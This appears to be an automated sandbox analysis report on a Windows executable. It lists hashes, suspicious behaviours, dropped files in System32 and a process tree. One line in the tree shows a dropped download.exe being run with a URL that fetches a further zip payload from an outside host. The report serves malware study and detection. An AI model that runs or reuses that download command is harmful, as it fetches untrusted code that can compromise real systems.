Analysis

  • max time kernel
    45s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    30/10/2022, 13:14

General

  • Target

    3751418436542de6683be3a2ed1d1d27e283e772cda553019b2d51a889a3f16f.exe

  • Size

    504KB

  • MD5

    93975bfddc77b388825f43a26444ed90

  • SHA1

    8f07afe3ce47319a4abb6460dc822a634d7713c3

  • SHA256

    3751418436542de6683be3a2ed1d1d27e283e772cda553019b2d51a889a3f16f

  • SHA512

    674c52419e85432e24a0e9cea4f2d9363a7fc525dc1c9c97862180155021e195ca9770de692ab8a2ac78bcbcef4dce832195f609354f62825ef3f3493939b23e

  • SSDEEP

    12288:g0CwMjv0BA+kZMeUBRAw+dbgzNwaLeCy7zW4LxI/4:WjyC7gpwqU7zWYJ

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 12 IoCs
  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3751418436542de6683be3a2ed1d1d27e283e772cda553019b2d51a889a3f16f.exe
    "C:\Users\Admin\AppData\Local\Temp\3751418436542de6683be3a2ed1d1d27e283e772cda553019b2d51a889a3f16f.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\SysWOW64\download.exe
      "C:\Windows\system32\download.exe" /Url "http://down.down-korea.com/ZFinder23.zip"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1288

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Windows\SysWOW64\MUC_OCX.ocx

          Filesize

          320KB

          MD5

          e44369624fd2ba6650df7791858b40a4

          SHA1

          dd16cc29316d9b6d23f8ed6211a52f4d00ffacb9

          SHA256

          cab5f9ec01981c6afebf720812dccb71a8fe5b450c627a20319c491656a69ad3

          SHA512

          71c386f1432b3d5fd07270d07e9f89b6bcccb99db3f4f7c89c994ae5dbf52c09397a36fc11859943d00082055875cc9c6a68fe8aab6bd2767c249d270f514887

        • C:\Windows\SysWOW64\download.exe

          Filesize

          440KB

          MD5

          0f3c631069823e395457c4a36878e9d5

          SHA1

          658ec28921c8f134a0db365558548f0ebf90ad6d

          SHA256

          0e4ba10d092552b70949bb51bd79083329bd327899b38daed9b93c736b757a78

          SHA512

          2156958304acbb42b982e6a064ea691c4b518c90055c879cf3743e7d3045cca6057d700fa19fa4a22f34c92b5ad3596d47dfeb6adaf6b855cdc3609b9f2f3429

        • C:\Windows\SysWOW64\download.exe

          Filesize

          440KB

          MD5

          0f3c631069823e395457c4a36878e9d5

          SHA1

          658ec28921c8f134a0db365558548f0ebf90ad6d

          SHA256

          0e4ba10d092552b70949bb51bd79083329bd327899b38daed9b93c736b757a78

          SHA512

          2156958304acbb42b982e6a064ea691c4b518c90055c879cf3743e7d3045cca6057d700fa19fa4a22f34c92b5ad3596d47dfeb6adaf6b855cdc3609b9f2f3429

        • C:\Windows\SysWOW64\vb6ko.dll

          Filesize

          99KB

          MD5

          84742b5754690ed667372be561cf518d

          SHA1

          ef97aa43f804f447498568fc33704800b91a7381

          SHA256

          52b64e2bfc9ee0b807f2095726ace9e911bcd907054ac15686a4e7d2fd4dc751

          SHA512

          72ac19a3665a01519dac2ad43eb6178a66ad7f4e167f2a882cbca242978f8debe3e15d0e210c3b0391590699999f33a1fd5de4ca6559ff894b4e6cb4ac1415a0

        • C:\Windows\SysWOW64\vsflex8n.ocx

          Filesize

          592KB

          MD5

          a8d647a782a91e228363e76bdd28d64b

          SHA1

          15439a0f324e7d455d9a48dd8991cc359d6f10f8

          SHA256

          0c8da39a944a1e1fdf4af46135aca414053e6a57b87c3ac1eaa0069e509b2226

          SHA512

          b7f3419bffe4a647de30aac3fd2eb35906b1a3f4563b5099afb910497e44e1b279548020a22f2dd63e43c6d90a3258d8aa316b78b12c9b352a119d9e6f2ef4a7

        • \Windows\SysWOW64\MUC_OCX.ocx

          Filesize

          320KB

          MD5

          e44369624fd2ba6650df7791858b40a4

          SHA1

          dd16cc29316d9b6d23f8ed6211a52f4d00ffacb9

          SHA256

          cab5f9ec01981c6afebf720812dccb71a8fe5b450c627a20319c491656a69ad3

          SHA512

          71c386f1432b3d5fd07270d07e9f89b6bcccb99db3f4f7c89c994ae5dbf52c09397a36fc11859943d00082055875cc9c6a68fe8aab6bd2767c249d270f514887

        • \Windows\SysWOW64\MUC_OCX.ocx

          Filesize

          320KB

          MD5

          e44369624fd2ba6650df7791858b40a4

          SHA1

          dd16cc29316d9b6d23f8ed6211a52f4d00ffacb9

          SHA256

          cab5f9ec01981c6afebf720812dccb71a8fe5b450c627a20319c491656a69ad3

          SHA512

          71c386f1432b3d5fd07270d07e9f89b6bcccb99db3f4f7c89c994ae5dbf52c09397a36fc11859943d00082055875cc9c6a68fe8aab6bd2767c249d270f514887

        • \Windows\SysWOW64\MUC_OCX.ocx

          Filesize

          320KB

          MD5

          e44369624fd2ba6650df7791858b40a4

          SHA1

          dd16cc29316d9b6d23f8ed6211a52f4d00ffacb9

          SHA256

          cab5f9ec01981c6afebf720812dccb71a8fe5b450c627a20319c491656a69ad3

          SHA512

          71c386f1432b3d5fd07270d07e9f89b6bcccb99db3f4f7c89c994ae5dbf52c09397a36fc11859943d00082055875cc9c6a68fe8aab6bd2767c249d270f514887

        • \Windows\SysWOW64\MUC_OCX.ocx

          Filesize

          320KB

          MD5

          e44369624fd2ba6650df7791858b40a4

          SHA1

          dd16cc29316d9b6d23f8ed6211a52f4d00ffacb9

          SHA256

          cab5f9ec01981c6afebf720812dccb71a8fe5b450c627a20319c491656a69ad3

          SHA512

          71c386f1432b3d5fd07270d07e9f89b6bcccb99db3f4f7c89c994ae5dbf52c09397a36fc11859943d00082055875cc9c6a68fe8aab6bd2767c249d270f514887

        • \Windows\SysWOW64\VB6KO.DLL

          Filesize

          99KB

          MD5

          84742b5754690ed667372be561cf518d

          SHA1

          ef97aa43f804f447498568fc33704800b91a7381

          SHA256

          52b64e2bfc9ee0b807f2095726ace9e911bcd907054ac15686a4e7d2fd4dc751

          SHA512

          72ac19a3665a01519dac2ad43eb6178a66ad7f4e167f2a882cbca242978f8debe3e15d0e210c3b0391590699999f33a1fd5de4ca6559ff894b4e6cb4ac1415a0

        • \Windows\SysWOW64\download.exe

          Filesize

          440KB

          MD5

          0f3c631069823e395457c4a36878e9d5

          SHA1

          658ec28921c8f134a0db365558548f0ebf90ad6d

          SHA256

          0e4ba10d092552b70949bb51bd79083329bd327899b38daed9b93c736b757a78

          SHA512

          2156958304acbb42b982e6a064ea691c4b518c90055c879cf3743e7d3045cca6057d700fa19fa4a22f34c92b5ad3596d47dfeb6adaf6b855cdc3609b9f2f3429

        • \Windows\SysWOW64\download.exe

          Filesize

          440KB

          MD5

          0f3c631069823e395457c4a36878e9d5

          SHA1

          658ec28921c8f134a0db365558548f0ebf90ad6d

          SHA256

          0e4ba10d092552b70949bb51bd79083329bd327899b38daed9b93c736b757a78

          SHA512

          2156958304acbb42b982e6a064ea691c4b518c90055c879cf3743e7d3045cca6057d700fa19fa4a22f34c92b5ad3596d47dfeb6adaf6b855cdc3609b9f2f3429

        • \Windows\SysWOW64\download.exe

          Filesize

          440KB

          MD5

          0f3c631069823e395457c4a36878e9d5

          SHA1

          658ec28921c8f134a0db365558548f0ebf90ad6d

          SHA256

          0e4ba10d092552b70949bb51bd79083329bd327899b38daed9b93c736b757a78

          SHA512

          2156958304acbb42b982e6a064ea691c4b518c90055c879cf3743e7d3045cca6057d700fa19fa4a22f34c92b5ad3596d47dfeb6adaf6b855cdc3609b9f2f3429

        • \Windows\SysWOW64\vsflex8n.ocx

          Filesize

          592KB

          MD5

          a8d647a782a91e228363e76bdd28d64b

          SHA1

          15439a0f324e7d455d9a48dd8991cc359d6f10f8

          SHA256

          0c8da39a944a1e1fdf4af46135aca414053e6a57b87c3ac1eaa0069e509b2226

          SHA512

          b7f3419bffe4a647de30aac3fd2eb35906b1a3f4563b5099afb910497e44e1b279548020a22f2dd63e43c6d90a3258d8aa316b78b12c9b352a119d9e6f2ef4a7

        • \Windows\SysWOW64\vsflex8n.ocx

          Filesize

          592KB

          MD5

          a8d647a782a91e228363e76bdd28d64b

          SHA1

          15439a0f324e7d455d9a48dd8991cc359d6f10f8

          SHA256

          0c8da39a944a1e1fdf4af46135aca414053e6a57b87c3ac1eaa0069e509b2226

          SHA512

          b7f3419bffe4a647de30aac3fd2eb35906b1a3f4563b5099afb910497e44e1b279548020a22f2dd63e43c6d90a3258d8aa316b78b12c9b352a119d9e6f2ef4a7

        • \Windows\SysWOW64\vsflex8n.ocx

          Filesize

          592KB

          MD5

          a8d647a782a91e228363e76bdd28d64b

          SHA1

          15439a0f324e7d455d9a48dd8991cc359d6f10f8

          SHA256

          0c8da39a944a1e1fdf4af46135aca414053e6a57b87c3ac1eaa0069e509b2226

          SHA512

          b7f3419bffe4a647de30aac3fd2eb35906b1a3f4563b5099afb910497e44e1b279548020a22f2dd63e43c6d90a3258d8aa316b78b12c9b352a119d9e6f2ef4a7

        • \Windows\SysWOW64\vsflex8n.ocx

          Filesize

          592KB

          MD5

          a8d647a782a91e228363e76bdd28d64b

          SHA1

          15439a0f324e7d455d9a48dd8991cc359d6f10f8

          SHA256

          0c8da39a944a1e1fdf4af46135aca414053e6a57b87c3ac1eaa0069e509b2226

          SHA512

          b7f3419bffe4a647de30aac3fd2eb35906b1a3f4563b5099afb910497e44e1b279548020a22f2dd63e43c6d90a3258d8aa316b78b12c9b352a119d9e6f2ef4a7

        • memory/1284-54-0x00000000762E1000-0x00000000762E3000-memory.dmp

          Filesize

          8KB

        • memory/1288-75-0x0000000011000000-0x0000000011053000-memory.dmp

          Filesize

          332KB

        • memory/1288-79-0x0000000003CD0000-0x00000000040E2000-memory.dmp

          Filesize

          4.1MB

        • memory/1288-80-0x00000000044A0000-0x00000000047E7000-memory.dmp

          Filesize

          3.3MB